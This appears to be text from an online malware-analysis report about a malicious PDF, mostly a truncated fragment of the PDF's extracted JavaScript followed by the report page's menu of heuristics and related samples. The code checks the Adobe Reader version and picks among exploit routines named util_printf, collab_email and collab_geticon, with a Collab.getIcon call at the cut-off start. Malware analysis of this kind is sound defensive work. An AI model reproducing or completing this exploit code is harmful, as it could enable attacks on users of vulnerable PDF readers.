tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2